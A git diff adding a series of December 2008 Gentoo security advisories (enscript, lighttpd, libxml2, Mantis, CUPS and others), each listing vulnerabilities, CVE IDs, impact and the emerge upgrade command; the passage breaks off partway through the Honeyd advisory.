index 00000000..467cca5d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-02.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-02">
+  <title>enscript: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Two buffer overflows in enscript might lead to the execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">enscript</product>
+  <announced>December 02, 2008</announced>
+  <revised>December 02, 2008: 02</revised>
+  <bug>243228</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/enscript" auto="yes" arch="*">
+      <unaffected range="ge">1.6.4-r4</unaffected>
+      <vulnerable range="lt">1.6.4-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    enscript is a powerful ASCII to PostScript file converter.
+    </p>
+  </background>
+  <description>
+    <p>
+    Two stack-based buffer overflows in the read_special_escape() function
+    in src/psgen.c have been reported. Ulf Harnhammar of Secunia Research
+    discovered a vulnerability related to the "setfilename" command
+    (CVE-2008-3863), and Kees Cook of Ubuntu discovered a vulnerability
+    related to the "font" escape sequence (CVE-2008-4306).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user or automated system to process
+    specially crafted input with the special escapes processing enabled
+    using the "-e" option, possibly resulting in the execution of arbitrary
+    code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All enscript users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/enscript-1.6.4-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3863">CVE-2008-3863</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4306">CVE-2008-4306</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 27 Nov 2008 17:28:05 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 27 Nov 2008 17:37:26 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 27 Nov 2008 17:37:33 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-03.xml b/xml/htdocs/security/en/glsa/glsa-200812-03.xml
new file mode 100644
index 00000000..8918975e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-03.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-03">
+  <title>IPsec-Tools: racoon Denial of Service</title>
+  <synopsis>
+    IPsec-Tools' racoon is affected by a remote Denial of Service
+    vulnerability.
+  </synopsis>
+  <product type="ebuild">ipsec-tools</product>
+  <announced>December 02, 2008</announced>
+  <revised>December 02, 2008: 01</revised>
+  <bug>232831</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-firewall/ipsec-tools" auto="yes" arch="*">
+      <unaffected range="ge">0.7.1</unaffected>
+      <vulnerable range="lt">0.7.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    IPsec-Tools is a port of KAME's implementation of the IPsec utilities.
+    It contains a collection of network monitoring tools, including racoon,
+    ping, and ping6.
+    </p>
+  </background>
+  <description>
+    <p>
+    Two Denial of Service vulnerabilities have been reported in racoon:
+    </p>
+    <ul>
+    <li>
+    The vendor reported a memory leak in racoon/proposal.c that can be
+    triggered via invalid proposals (CVE-2008-3651).
+    </li>
+    <li>
+    Krzysztof Piotr Oledzk reported that src/racoon/handler.c does not
+    remove an "orphaned ph1" (phase 1) handle when it has been initiated
+    remotely (CVE-2008-3652).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit these vulnerabilities to cause a Denial of
+    Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All IPsec-Tools users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-firewall/ipsec-tools-0.7.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3651">CVE-2008-3651</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3652">CVE-2008-3652</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 26 Nov 2008 18:44:35 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 26 Nov 2008 20:25:15 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 26 Nov 2008 20:25:48 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-04.xml b/xml/htdocs/security/en/glsa/glsa-200812-04.xml
new file mode 100644
index 00000000..2eb97a2f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-04.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-04">
+  <title>lighttpd: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in lighttpd may lead to information disclosure or
+    a Denial of Service.
+  </synopsis>
+  <product type="ebuild">lighttpd</product>
+  <announced>December 02, 2008</announced>
+  <revised>December 02, 2008: 01</revised>
+  <bug>238180</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/lighttpd" auto="yes" arch="*">
+      <unaffected range="ge">1.4.20</unaffected>
+      <vulnerable range="lt">1.4.20</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    lighttpd is a lightweight high-performance web server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in lighttpd:
+    </p>
+    <ul>
+    <li>
+    Qhy reported a memory leak in the http_request_parse() function in
+    request.c (CVE-2008-4298).
+    </li>
+    <li>
+    Gaetan Bisson reported that URIs are not decoded before applying
+    url.redirect and url.rewrite rules (CVE-2008-4359).
+    </li>
+    <li>
+    Anders1 reported that mod_userdir performs case-sensitive comparisons
+    on filename components in configuration options, which is insufficient
+    when case-insensitive filesystems are used (CVE-2008-4360).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities to cause a Denial
+    of Service, to bypass intended access restrictions, to obtain sensitive
+    information, or to possibly modify data.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All lighttpd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/lighttpd-1.4.20&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4298">CVE-2008-4298</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4359">CVE-2008-4359</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4360">CVE-2008-4360</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 26 Nov 2008 18:41:57 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 26 Nov 2008 22:38:27 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 26 Nov 2008 22:39:43 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-05.xml b/xml/htdocs/security/en/glsa/glsa-200812-05.xml
new file mode 100644
index 00000000..a7c7e26b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-05.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-05">
+  <title>libsamplerate: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A buffer overflow vulnerability in libsamplerate might lead to the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">libsamplerate</product>
+  <announced>December 02, 2008</announced>
+  <revised>December 02, 2008: 01</revised>
+  <bug>237037</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libsamplerate" auto="yes" arch="*">
+      <unaffected range="ge">0.1.4</unaffected>
+      <vulnerable range="lt">0.1.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Secret Rabbit Code (aka libsamplerate) is a Sample Rate Converter for
+    audio.
+    </p>
+  </background>
+  <description>
+    <p>
+    Russell O'Connor reported a buffer overflow in src/src_sinc.c related
+    to low conversion ratios.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user or automated system to process a
+    specially crafted audio file possibly leading to the execution of
+    arbitrary code with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libsamplerate users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libsamplerate-0.1.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5008">CVE-2008-5008</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 07 Nov 2008 13:51:38 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 27 Nov 2008 16:25:38 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 27 Nov 2008 16:25:44 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-06.xml b/xml/htdocs/security/en/glsa/glsa-200812-06.xml
new file mode 100644
index 00000000..4073884f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-06.xml
@@ -0,0 +1,99 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-06">
+  <title>libxml2: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in libxml2 might lead to execution of arbitrary
+    code or Denial of Service.
+  </synopsis>
+  <product type="ebuild">libxml2</product>
+  <announced>December 02, 2008</announced>
+  <revised>December 02, 2008: 01</revised>
+  <bug>234099</bug>
+  <bug>237806</bug>
+  <bug>239346</bug>
+  <bug>245960</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/libxml2" auto="yes" arch="*">
+      <unaffected range="ge">2.7.2-r1</unaffected>
+      <vulnerable range="lt">2.7.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libxml2 is the XML (eXtended Markup Language) C parser and toolkit
+    initially developed for the Gnome project.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities were reported in libxml2:
+    </p>
+    <ul>
+    <li>
+    Andreas Solberg reported that libxml2 does not properly detect
+    recursion during entity expansion in an attribute value
+    (CVE-2008-3281).
+    </li>
+    <li>
+    A heap-based buffer overflow has been reported in the
+    xmlParseAttValueComplex() function in parser.c (CVE-2008-3529).
+    </li>
+    <li>
+    Christian Weiske reported that predefined entity definitions in
+    entities are not properly handled (CVE-2008-4409).
+    </li>
+    <li>
+    Drew Yao of Apple Product Security reported an integer overflow in the
+    xmlBufferResize() function that can lead to an infinite loop
+    (CVE-2008-4225).
+    </li>
+    <li>
+    Drew Yao of Apple Product Security reported an integer overflow in the
+    xmlSAX2Characters() function leading to a memory corruption
+    (CVE-2008-4226).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user or automated system to open a
+    specially crafted XML document with an application using libxml2,
+    possibly resulting in the exeution of arbitrary code or a high CPU and
+    memory consumption.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libxml2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/libxml2-2.7.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3281">CVE-2008-3281</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3529">CVE-2008-3529</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4409">CVE-2008-4409</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4225">CVE-2008-4225</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4226">CVE-2008-4226</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 01 Oct 2008 21:27:07 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 31 Oct 2008 00:21:31 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 31 Oct 2008 00:21:45 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-07.xml b/xml/htdocs/security/en/glsa/glsa-200812-07.xml
new file mode 100644
index 00000000..2fc8dbd3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-07.xml
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-07">
+  <title>Mantis: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Mantis, the most severe of
+    which leading to the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mantisbt</product>
+  <announced>December 02, 2008</announced>
+  <revised>December 02, 2008: 01</revised>
+  <bug>238570</bug>
+  <bug>241940</bug>
+  <bug>242722</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/mantisbt" auto="yes" arch="*">
+      <unaffected range="ge">1.1.4-r1</unaffected>
+      <vulnerable range="lt">1.1.4-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mantis is a PHP/MySQL/Web based bugtracking system.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple issues have been reported in Mantis:
+    </p>
+    <ul>
+    <li>
+    EgiX reported that manage_proj_page.php does not correctly sanitize the
+    sort parameter before passing it to create_function() in
+    core/utility_api.php (CVE-2008-4687).
+    </li>
+    <li>
+    Privileges of viewers are not sufficiently checked before composing a
+    link with issue data in the source anchor (CVE-2008-4688).
+    </li>
+    <li>
+    Mantis does not unset the session cookie during logout (CVE-2008-4689).
+    </li>
+    <li>
+    Mantis does not set the secure flag for the session cookie in an HTTPS
+    session (CVE-2008-3102).
+    </li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    Remote unauthenticated attackers could exploit these vulnerabilities to
+    execute arbitrary PHP commands, disclose sensitive issue data, or
+    hijack a user's sessions.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mantis users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/mantisbt-1.1.4-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3102">CVE-2008-3102</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4687">CVE-2008-4687</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4688">CVE-2008-4688</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4689">CVE-2008-4689</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 31 Oct 2008 21:35:00 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 26 Nov 2008 19:39:16 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 26 Nov 2008 19:39:31 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-08.xml b/xml/htdocs/security/en/glsa/glsa-200812-08.xml
new file mode 100644
index 00000000..3f7fdd3f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-08.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-08">
+  <title>Mgetty: Insecure temporary file usage</title>
+  <synopsis>
+    Mgetty uses temporary files in an insecure manner, allowing for symlink
+    attacks.
+  </synopsis>
+  <product type="ebuild">mgetty</product>
+  <announced>December 06, 2008</announced>
+  <revised>December 23, 2008: 02</revised>
+  <bug>235806</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-dialup/mgetty" auto="yes" arch="*">
+      <unaffected range="ge">1.1.36-r3</unaffected>
+      <vulnerable range="lt">1.1.36-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mgetty is a set of fax and voice modem programs.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dmitry E. Oboukhov reported that the "spooldir" directory in
+    fax/faxspool.in is created in an insecure manner.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit this vulnerability to overwrite
+    arbitrary files with the privileges of the user running the
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mgetty users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dialup/mgetty-1.1.36-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4936">CVE-2008-4936</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 22 Sep 2008 12:40:45 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 23 Sep 2008 11:36:13 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 23 Sep 2008 11:36:50 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-09.xml b/xml/htdocs/security/en/glsa/glsa-200812-09.xml
new file mode 100644
index 00000000..09f10f26
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-09.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-09">
+  <title>OpenSC: Insufficient protection of smart card PIN</title>
+  <synopsis>
+    Smart cards formatted using OpenSC do not sufficiently protect the PIN,
+    allowing attackers to reset it.
+  </synopsis>
+  <product type="ebuild">opensc</product>
+  <announced>December 10, 2008</announced>
+  <revised>December 10, 2008: 01</revised>
+  <bug>233543</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-libs/opensc" auto="yes" arch="*">
+      <unaffected range="ge">0.11.6</unaffected>
+      <vulnerable range="lt">0.11.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenSC is a smart card application that allows reading and writing via
+    PKCS#11.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chaskiel M Grundman reported that OpenSC uses weak permissions (ADMIN
+    file control information of 00) for the 5015 directory on smart cards
+    and USB crypto tokens running Siemens CardOS M4.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A physically proximate attacker can exploit this vulnerability to
+    change the PIN on a smart card and use it for authentication, leading
+    to privilege escalation.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenSC users should upgrade to the latest version, and then check
+    and update their smart cards:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/opensc-0.11.6&quot;
+    # pkcs15-tool --test-update
+    # pkcs15-tool --test-update --update</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2235">CVE-2008-2235</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 26 Nov 2008 18:58:19 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 26 Nov 2008 19:57:21 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 26 Nov 2008 19:57:53 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-10.xml b/xml/htdocs/security/en/glsa/glsa-200812-10.xml
new file mode 100644
index 00000000..1d4daac8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-10.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-10">
+  <title>Archive::Tar: Directory traversal vulnerability</title>
+  <synopsis>
+    A directory traversal vulnerability has been discovered in Archive::Tar.
+  </synopsis>
+  <product type="ebuild">Archive-Tar</product>
+  <announced>December 10, 2008</announced>
+  <revised>December 10, 2008: 01</revised>
+  <bug>192989</bug>
+  <access>remote</access>
+  <affected>
+    <package name="perl-core/Archive-Tar" auto="yes" arch="*">
+      <unaffected range="ge">1.40</unaffected>
+      <vulnerable range="lt">1.40</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Archive::Tar is a Perl module for creation and manipulation of tar
+    files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jonathan Smith of rPath reported that Archive::Tar does not check for
+    ".." in file names.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user or automated system to extract a
+    specially crafted tar archive, overwriting files at arbitrary locations
+    outside of the specified directory.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Archive::Tar users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=perl-core/Archive-Tar-1.40&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4829">CVE-2007-4829</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 26 Nov 2008 18:55:42 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 26 Nov 2008 20:31:02 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 26 Nov 2008 20:31:20 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-11.xml b/xml/htdocs/security/en/glsa/glsa-200812-11.xml
new file mode 100644
index 00000000..29ed121f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-11.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-11">
+  <title>CUPS: Multiple vulnerabilities</title>
+  <synopsis>
+    Several remotely exploitable bugs have been found in CUPS, which allow
+    remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">cups</product>
+  <announced>December 10, 2008</announced>
+  <revised>December 10, 2008: 01</revised>
+  <bug>238976</bug>
+  <bug>249727</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-print/cups" auto="yes" arch="*">
+      <unaffected range="ge">1.3.9-r1</unaffected>
+      <vulnerable range="lt">1.3.9-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    CUPS is the Common Unix Printing System.
+    </p>
+  </background>
+  <description>
+    <p>
+    Several buffer overflows were found in:
+    </p>
+    <ul>
+    <li>
+    The read_rle16 function in imagetops (CVE-2008-3639, found by
+    regenrecht, reported via ZDI)
+    </li>
+    <li>
+    The WriteProlog function in texttops (CVE-2008-3640, found by
+    regenrecht, reported via ZDI)
+    </li>
+    <li>
+    The Hewlett-Packard Graphics Language (HPGL) filter (CVE-2008-3641,
+    found by regenrecht, reported via iDefense)
+    </li>
+    <li>
+    The _cupsImageReadPNG function (CVE-2008-5286, reported by iljavs)
+    </li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send specially crafted input to a vulnerable
+    server, resulting in the remote execution of arbitrary code with the
+    privileges of the user running the server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    None this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All CUPS users should upgrade to the latest version.
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-print/cups-1.3.9-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3639">CVE-2008-3639</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3640">CVE-2008-3640</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3641">CVE-2008-3641</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5286">CVE-2008-5286</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 29 Nov 2008 10:13:17 +0000">
+    craig
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 06 Dec 2008 18:09:49 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-12.xml b/xml/htdocs/security/en/glsa/glsa-200812-12.xml
new file mode 100644
index 00000000..66789b7f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-12.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-12">
+  <title>Honeyd: Insecure temporary file creation</title>
+  <synopsis>
+    An insecure temporary file usage has been reported in Honeyd, possibly
+    leading to symlink attacks.
+  </synopsis>
+  <product type="ebuild">honeyd</product>
+  <announced>December 12, 2008</announced>
+  <revised>December 12, 2008: 01</revised>
+  <bug>237481</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-analyzer/honeyd" auto="yes" arch="*">
+      <unaffected range="ge">1.5c-r1</unaffected>
+      <vulnerable range="lt">1.5c-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Honeyd is a small daemon that creates virtual hosts on a network.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dmitry E. Oboukhov reported an insecure temporary file usage within the
+    "test.sh" script.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could perform symlink attacks and overwrite arbitrary
+    files with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Honeyd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/honeyd-1.5c-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3928">CVE-2008-3928</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 18 Oct 2008 20:32:05 +0000">
